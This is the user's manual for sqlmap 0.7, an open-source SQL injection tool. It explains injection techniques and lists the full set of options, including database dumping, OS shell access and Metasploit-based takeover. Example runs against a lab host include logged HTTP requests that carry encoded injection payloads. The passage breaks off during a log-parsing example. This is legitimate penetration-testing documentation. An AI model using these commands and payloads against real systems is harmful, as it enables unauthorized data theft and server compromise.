<!doctype linuxdoc system>

<article>

<title>sqlmap user's manual
<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">
<date>version 0.7, July 25, 2009
<abstract>
This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">.
Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage">
for the latest version.
</abstract>

<toc>


<sect>Introduction
<p>
sqlmap is an open source command-line automatic
<htmlurl url="http://www.google.com/search?q=SQL+injection" name="SQL injection">
tool.
Its goal is to detect and take advantage of SQL injection vulnerabilities
in web applications. Once it detects one or more SQL injections on the
target host, the user can choose among a variety of options to perform an
extensive back-end database management system fingerprint, retrieve DBMS
session user and database, enumerate users, password hashes, privileges,
databases, dump entire or user's specified DBMS tables/columns, run his own
SQL statement, read or write either text or binary files on the file
system, execute arbitrary commands on the operating system, establish an
out-of-band stateful connection between the attacker box and the database
server via Metasploit payload stager, database stored procedure buffer
overflow exploitation or SMB relay attack and more.


<sect1>Requirements

<p>
sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">,
a dynamic object-oriented interpreted programming language.
This makes the tool independent from the operating system since it only
requires the Python interpreter version equal or above to <bf>2.5</bf>.
The interpreter is freely downloadable from its
<htmlurl url="http://python.org/download/" name="official site">.
To make it even easier, many GNU/Linux distributions come out of the box
with Python interpreter package installed and other Unices and MacOS X
too provide it packaged in their formats and ready to be installed.
Windows users can download and install the Python setup-ready installer
for x86, AMD64 and Itanium too.

sqlmap relies on the <htmlurl url="http://metasploit.com/framework/"
name="Metasploit Framework"> for some of its post-exploitation takeover
functionalities. You need to grab a copy of it from the
<htmlurl url="http://metasploit.com/framework/download/" name="download">
page. The required version is <bf>3.3.3</bf> or above.

Optionally, if you are running sqlmap on Windows, you may wish to install
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
library to be able to take advantage of the sqlmap TAB completion and
history support functionalities in the SQL shell and OS shell.
Note that these functionalities are available natively by Python standard
<htmlurl url="http://docs.python.org/library/readline.html" name="readline">
library on other operating systems.
You can also choose to install <htmlurl url="http://psyco.sourceforge.net/" name="Psyco">
library to speed up the sqlmap algorithmic operations.


<sect1>Scenario

<p>
Let's say that you are auditing a web application and found a web page
that accepts dynamic user-provided values on <tt>GET</tt> or <tt>POST</tt>
parameters or HTTP <tt>Cookie</tt> values or HTTP <tt>User-Agent</tt>
header value.
You now want to test if these are affected by a SQL injection
vulnerability, and if so, exploit them to retrieve as much information as
possible out of the web application's back-end database management system
or even be able to access the underlying operating system.

Consider that the target url is:

<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1</tt></tscreen>

Assume that:

<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1</tt></tscreen>

is the same page as the original one and:

<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2</tt></tscreen>

differs from the original one, it means that you are in front of a SQL
injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the
<tt>index.php</tt> web application page which means that no IDS/IPS, no
web application firewall, no parameters' value sanitization is performed
on the server-side.

This is a quite common flaw in dynamic content web applications and it
does not depend upon the back-end database management system nor on the web
application programming language: it is a programmer code's security flaw.
The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project">
rated on 2007 in their <htmlurl url="http://www.owasp.org/index.php/Top_10_2007"
name="OWASP Top Ten"> survey this vulnerability as the <htmlurl
url="http://www.owasp.org/index.php/Top_10_2007-A2" name="most
common"> and important web application vulnerability, second only to
<htmlurl url="http://www.owasp.org/index.php/Top_10_2007-A1"
name="Cross-Site Scripting">.

Back to the scenario, probably the SQL <tt>SELECT</tt> statement into
<tt>get_int.php</tt> has a syntax similar to the following SQL query, in
pseudo PHP code:

<tscreen><tt>
$query = "SELECT &#91;column(s) name&#93; FROM &#91;table name&#93; WHERE id=" . $_REQUEST['id'];
</tt></tscreen>

As you can see, appending any other syntatically valid SQL condition after
a value for <tt>id</tt> such condition will take place when the web
application passes the query to the back-end database management system
that executes it, that is why the condition <tt>id=1 AND 1=1</tt> is valid
(<em>True</em>) and returns the same page as the original one, with the
same content and without showing any SQL error message.

Moreover, in this simple and easy to inject scenario it would be also
possible to append, not just one or more valid SQL condition(s), but also
stacked SQL queries, for instance something like <tt>[...]&amp;id=1;
ANOTHER SQL QUERY#</tt> if the web application technology supports
<em>stacked queries</em>, also known as <em>multiple statements</em>.

Now that you found this SQL injection vulnerable parameter, you can
exploit it by manipulating the <tt>id</tt> parameter value in the HTTP
request.

There exist many <htmlurl url="http://delicious.com/inquis/sqlinjection" name="resources">
on the Net explaining in depth how to prevent, how to detect and how to
exploit SQL injection vulnerabilities in web application and it is
recommended to read them if you are not familiar with the issue before
going ahead with sqlmap.

Passing the original address, <tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1</tt>
to sqlmap, the tool will automatically:

<itemize>
<item>Identify the vulnerable parameter(s) (<tt>id</tt> in this scenario);
<item>Depending on the user's options, sqlmap uses the <bf>blind SQL
injection</bf> or the <bf>inband SQL injection</bf> technique as described
in the following section to go ahead with the exploiting.
</itemize>


<sect1>Techniques

<p>
sqlmap implements three techniques to exploit a SQL injection
vulnerability:

<itemize>
<item><bf>Inferential blind SQL injection</bf>, also known as <bf>boolean
based blind SQL injection</bf>: sqlmap appends to the affected parameter in
the HTTP request, a syntatically valid SQL statement string containing a
<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.
<item><bf>UNION query (inband) SQL injection</bf>, also known as <bf>full
UNION query SQL injection</bf>: sqlmap appends to the affected parameter
in the HTTP request, a syntatically valid SQL statement string starting
with a <tt>UNION ALL SELECT</tt>. This techique is useful if the web
application page passes the output of the <tt>SELECT</tt> statement to a
<tt>for</tt> cycle, or similar, so that each line of the query output is
printed on the page content.
sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL
injection</bf> vulnerabilities which occur when the output of the statement
is not cycled in a for construct whereas only the first entry output is
displayed.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output or a entry
per each response within the page content.
This SQL injection technique is an alternative to the first one.
<item><bf>Batched (stacked) queries support</bf>, also known as <bf>multiple
statements support</bf>: sqlmap tests if the web application supports
stacked queries then, in case it does support, it appends to the affected
parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the
SQL statement to be executed. This technique is useful to run SQL
statements other than <tt>SELECT</tt> like, for instance, <em>data
definition</em> or <em>data manipulation</em> statements possibly leading
to file system read and write access and operating system command
execution depending on the underlying back-end database management system
and the session user privileges.
</itemize>


<sect>Features

<p>
Major features implemented in sqlmap include:


<sect1>Generic features

<p>
<itemize>
<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf>
and <bf>Microsoft SQL Server</bf> back-end database management systems.
Besides these four database management systems software. sqlmap can also
identify Microsoft Access, DB2, Informix, Sybase and Interbase.

<item>Full support for three SQL injection techniques: <bf> inferential
blind SQL injection</bf>, <bf>UNION query (inband) SQL injection</bf> and
<bf>batched queries support</bf>. sqlmap can also test for <bf>time based
blind SQL injection</bf>.

<item>It is possible to provide a single target URL, get the list of
targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
requests log file path or
<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" name="WebScarab proxy">
<tt>conversations/</tt> folder path or get the list of targets by providing
sqlmap with a Google dork which queries
<htmlurl url="http://www.google.com" name="Google"> search engine and
parses its results page.

<item>Automatically tests all provided <bf>GET</bf> parameters,
<bf>POST</bf> parameters, HTTP <bf>Cookie</bf> header values and HTTP
<bf>User-Agent</bf> header value to find the dynamic ones, which means
those that vary the HTTP response page content.
On the dynamic ones sqlmap automatically tests and detects the ones
affected by SQL injection. Each dynamic parameter is tested for
<em>numeric</em>, <em>single quoted string</em>, <em>double quoted
string</em> and all of these three datatypes with zero to two parenthesis
to correctly detect which is the <tt>SELECT</tt> statement syntax to
perform further injections with. It is also possible to specify the
parameter(s) that you want to perform tests and use for injection on.

<item>Option to specify the <bf>maximum number of concurrent HTTP
requests</bf> to speed up the blind SQL injection algorithms
(multithreading). It is also possible to specify the number of seconds to
wait between each HTTP request.

<item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the
web application requires authentication based upon cookies and you have
such data or in case you just want to test for and exploit SQL injection
on such header.

<item>Automatically handle <bf>HTTP <tt>Set-Cookie</tt> header</bf> from
target url, re-establishing of the session if it expires. Test and exploit
on these values is supported too.

<item><bf>HTTP Basic and Digest authentications</bf> support.

<item><bf>Anonymous HTTP proxy</bf> support to pass by the requests to the
target URL that works also with HTTPS requests.

<item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and
the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or
randomly selected from a text file.

<item>Support to increase the <bf>verbosity level of output messages</bf>:
there exist <bf>six levels</bf>. The default level is <bf>1</bf> in which
information, warnings, errors and tracebacks, if they occur, will be shown.

<item>Granularity in the user's options.

<item><bf>Estimated time of arrival</bf> support for each query, updated
in real time while fetching the information to give to the user an
overview on how long it will take to retrieve the output.

<item>Support to save the session (queries and their output, even if
partially retrieved) in real time while fetching the data on a text file
and <bf>resume the injection from this file in a second time</bf>.

<item>Support to read options from a configuration INI file rather than
specify each time all of the options on the command line. Support also to
save command line options on a configuration INI file.

<item>Integration with other IT security related open source projects,
<htmlurl url="http://metasploit.com/framework/" name="Metasploit"> and <htmlurl
url="http://w3af.sourceforge.net/" name="w3af">.

<item><bf>PHP setting <tt>magic_quotes_gpc</tt> bypass</bf> by encoding
every query string, between single quotes, with <tt>CHAR</tt>, or similar,
database management system function.
</itemize>


<sect1>Enumeration features

<p>
<itemize>
<item><bf>Extensive back-end database management system software and
underlying operating system fingerprint</bf>
based upon
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features">
such as MySQL comment injection. It is also possible to force the back-end
database management system name if you already know it. sqlmap is also able
to fingerprint the web server operating system, the web application
technology and, in some circumstances, the back-end DBMS operating system.

<item>Basic web server software and web application technology fingerprint.

<item>Support to retrieve on all four back-end database management system
<bf>banner</bf>, <bf>current user</bf>, <bf>current database</bf>, check
if the current user is a database administrator, enumerate <bf>users</bf>,
<bf>users password hashes</bf>, <bf>users privileges</bf>,
<bf>databases</bf>, <bf>tables</bf>, <bf>columns</bf>, dump <bf>tables
entries</bf>, dump <bf>whole database management system</bf> and run user's
<bf>own SQL statement</bf>.
</itemize>

<sect1>Takeover features

<p>
<itemize>
<item>Support to <bf>read either text or binary files</bf> from the
database server underlying file system when the database software is MySQL,
PostgreSQL and Microsoft SQL Server.

<item>Support to <bf>execute arbitrary commands</bf> on the database server
underlying operating system when the database software is MySQL,
PostgreSQL via user-defined function injection and Microsoft SQL Server via
<tt>xp_cmdshell()</tt> stored procedure.

<item>Support to <bf>establish an out-of-band stateful connection between
the attacker box and the database server</bf> underlying operating system
via:
<itemize>
<item><bf>Stand-alone payload stager</bf> created by Metasploit and
supporting Meterpreter, shell and VNC payloads for both Windows and Linux;
<item><bf>Microsoft SQL Server 2000 and 2005 <tt>sp_replwritetovarbin</tt>
stored procedure heap-based buffer overflow</bf> (MS09-004) exploitation
with multi-stage Metasploit payload support;
<item><bf>SMB reflection attack</bf> with UNC path request from the
database server to the attacker box by using the Metasploit
<tt>smb_relay</tt> exploit on the attacker box.
</itemize>

<item>Support for <bf>database process' user privilege escalation</bf> via
Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via
either Meterpreter's <tt>incognito</tt> extension or <tt>Churrasco</tt>
stand-alone executable.
</itemize>

<sect>Download and update

<p>
sqlmap can be downloaded from its
<htmlurl url="http://sourceforge.net/projects/sqlmap/files/" name="SourceForge File List page">.
It is available in various formats:

<itemize>
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7.tar.gz"
name="Source gzip compressed"> operating system independent.

<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7.tar.bz2"
name="Source bzip2 compressed"> operating system independent.

<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7.zip"
name="Source zip compressed"> operating system independent.

<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.7-1_all.deb"
name="DEB binary package"> architecture independent for Debian and any
other Debian derivated GNU/Linux distribution.

<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7-1.noarch.rpm"
name="RPM binary package"> architecture independent for Fedora and any
other operating system that can install RPM packages.

<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7_exe.zip"
name="Portable executable for Windows"> that <bf>does not require the Python
interpreter</bf> to be installed on the operating system.
</itemize>

<p>
You can also checkout the source code from the sqlmap
<htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/" name="Subversion">
repository to give a try to the development release:

<tscreen><verb>
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
</verb></tscreen>


<sect>License and copyright

<p>
sqlmap is released under the terms of the
<htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">.
sqlmap is copyrighted by
<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">
(2007-2009) and <htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci">
(2006).


<sect>Usage

<p>
<tscreen><verb>
$ python sqlmap.py -h

    sqlmap/0.7
    by Bernardo Damele A. G. <bernardo.damele@gmail.com>
    
Usage: sqlmap.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-5 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from.

    -u URL, --url=URL   Target url
    -l LIST             Parse targets from Burp or WebScarab logs
    -g GOOGLEDORK       Process Google dork results as target urls
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target url.

    --method=METHOD     HTTP method, GET or POST (default GET)
    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header
    --referer=REFERER   HTTP Referer header
    --user-agent=AGENT  HTTP User-Agent header
    -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
    --headers=HEADERS   Extra HTTP headers newline separated
    --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)
    --auth-cred=ACRED   HTTP Authentication credentials (value name:password)
    --proxy=PROXY       Use a HTTP proxy to connect to the target url
    --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and how to parse and compare HTTP
    responses page content when using the blind SQL injection technique.

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value
    --os=OS             Force back-end DBMS operating system to this value
    --prefix=PREFIX     Injection payload prefix string
    --postfix=POSTFIX   Injection payload postfix string
    --string=STRING     String to match in page when the query is valid
    --regexp=REGEXP     Regexp to match in page when the query is valid
    --excl-str=ESTRING  String to be excluded before comparing page contents
    --excl-reg=EREGEXP  Matches to be excluded before comparing page contents

  Techniques:
    These options can be used to test for specific SQL injection technique
    or to use one of them to exploit the affected parameter(s) rather than
    using the default blind SQL injection technique.

    --stacked-test      Test for stacked queries (multiple statements) support
    --time-test         Test for time based blind SQL injection
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-test        Test for UNION query (inband) SQL injection
    --union-tech=UTECH  Technique to test for UNION query SQL injection
    --union-use         Use the UNION query (inband) SQL injection to retrieve
                        the queries output. No need to go blind

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements.

    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes (opt -U)
    --privileges        Enumerate DBMS users privileges (opt -U)
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables (opt -D)
    --columns           Enumerate DBMS database table columns (req -T opt -D)
    --dump              Dump DBMS database table entries (req -T, opt -D, -C)
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --start=LIMITSTART  First query output entry to retrieve
    --stop=LIMITSTOP    Last query output entry to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell

  File system access:
    These options can be used to access the back-end database management
    system underlying file system.

    --read-file=RFILE   Read a file from the back-end DBMS file system
    --write-file=WFILE  Write a local file on the back-end DBMS file system
    --dest-file=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    This option can be used to access the back-end database management
    system underlying operating system.

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          User priv escalation by abusing Windows access tokens
    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Miscellaneous:
    --eta               Display for each output the estimated time of arrival
    --update            Update sqlmap to the latest stable version
    -s SESSIONFILE      Save and resume all data retrieved on a session file
    --save              Save options on a configuration INI file
    --batch             Never ask for user input, use the default behaviour
    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
</verb></tscreen>


<sect1>Output verbosity

<p>
Option: <tt>-v</tt>

<p>
Verbose options can be used to set the verbosity level of output messages.
There exist six levels.
The default level is <bf>1</bf> in which information, warnings, errors and
tracebacks, if they occur, will be shown.
Level <bf>2</bf> shows also debug messages, level <bf>3</bf> shows also
HTTP requests with all HTTP headers sent, level <bf>4</bf> shows also HTTP
responses headers and level <bf>5</bf> shows also HTTP responses page
content.

<p>
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>1</bf>):

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1

[hh:mm:12] [INFO] testing connection to the target url
[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:14] [INFO] url is stable
[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:14] [INFO] GET parameter 'id' is dynamic
[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:14] [INFO] testing for parenthesis on injectable parameter
[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:14] [INFO] testing MySQL
[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))
[hh:mm:14] [INFO] retrieved: 55
[hh:mm:14] [INFO] performed 20 queries in 0 seconds
[hh:mm:14] [INFO] confirming MySQL
[hh:mm:14] [INFO] query: LENGTH(CHAR(53))
[hh:mm:14] [INFO] retrieved: 1
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:14] [INFO] retrieved: 5
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
</verb></tscreen>

<p>
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>2</bf>):

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2

[hh:mm:03] [DEBUG] initializing the configuration
[hh:mm:03] [DEBUG] initializing the knowledge base
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [DEBUG] setting the HTTP method to GET
[hh:mm:03] [DEBUG] creating HTTP requests opener object
[hh:mm:03] [DEBUG] parsing XML queries file
[hh:mm:03] [INFO] testing connection to the target url
[hh:mm:03] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:04] [INFO] url is stable
[hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:04] [INFO] GET parameter 'id' is dynamic
[hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:04] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[...]
</verb></tscreen>

<p>
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>3</bf>):

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3

[...]
[hh:mm:54] [INFO] testing connection to the target url
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:55] [INFO] testing MySQL
[hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54))
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR
%2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>

<p>
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>4</bf>):

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4

[...]
[hh:mm:44] [INFO] testing connection to the target url
[hh:mm:44] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 11 Dec 2008 hh:mm:44 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 119
Connection: close
Content-Type: text/html
[...]
[hh:mm:45] [INFO] testing MySQL
[hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:46] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR
%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>

<p>
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>5</bf>):

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5

[...]
[hh:mm:17] [INFO] testing connection to the target url
[hh:mm:17] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 11 Dec 2008 hh:mm:17 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 119
Connection: close
Content-Type: text/html

&lt;html&gt;&lt;body&gt;
&lt;b&gt;SQL results:&lt;/b&gt;
&lt;table border="1"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;luther&lt;/td&gt;&lt;td&gt;blissett&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;
[...]
[hh:mm:18] [INFO] testing MySQL
[hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51))
[hh:mm:18] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR
%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
Date: Thu, 11 Dec 2008 hh:mm:18 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 75
Connection: close
Content-Type: text/html

&lt;html&gt;&lt;body&gt;
&lt;b&gt;SQL results:&lt;/b&gt;
&lt;table border="1"&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;
[...]
</verb></tscreen>


<sect1>Target

<p>
At least one of these options has to be specified to set the source to get
target urls from.

<sect2>Target URL

<p>
Option: <tt>-u</tt> or <tt>--url</tt>

<p>
To run sqlmap on a single target URL.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"

[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
</verb></tscreen>


<sect2>Parse targets from Burp or WebScarab logs

<p>
Option: <tt>-l</tt>

<p>
Rather than providing a single target URL it is possible to test and inject
on HTTP requests proxied through <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
or <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" name="WebScarab proxy">.

<p>
Example passing to sqlmap a WebScarab proxy <tt>conversations/</tt> folder:

<tscreen><verb>
$ python sqlmap.py -l /tmp/webscarab.log/conversations/

[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
[hh:mm:43] [INFO] sqlmap got a total of 27 targets
[hh:mm:43] [INPUT] url 1:
GET http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&amp;token=60747016432606019619a
c58b3780562
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D; 
pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted; 
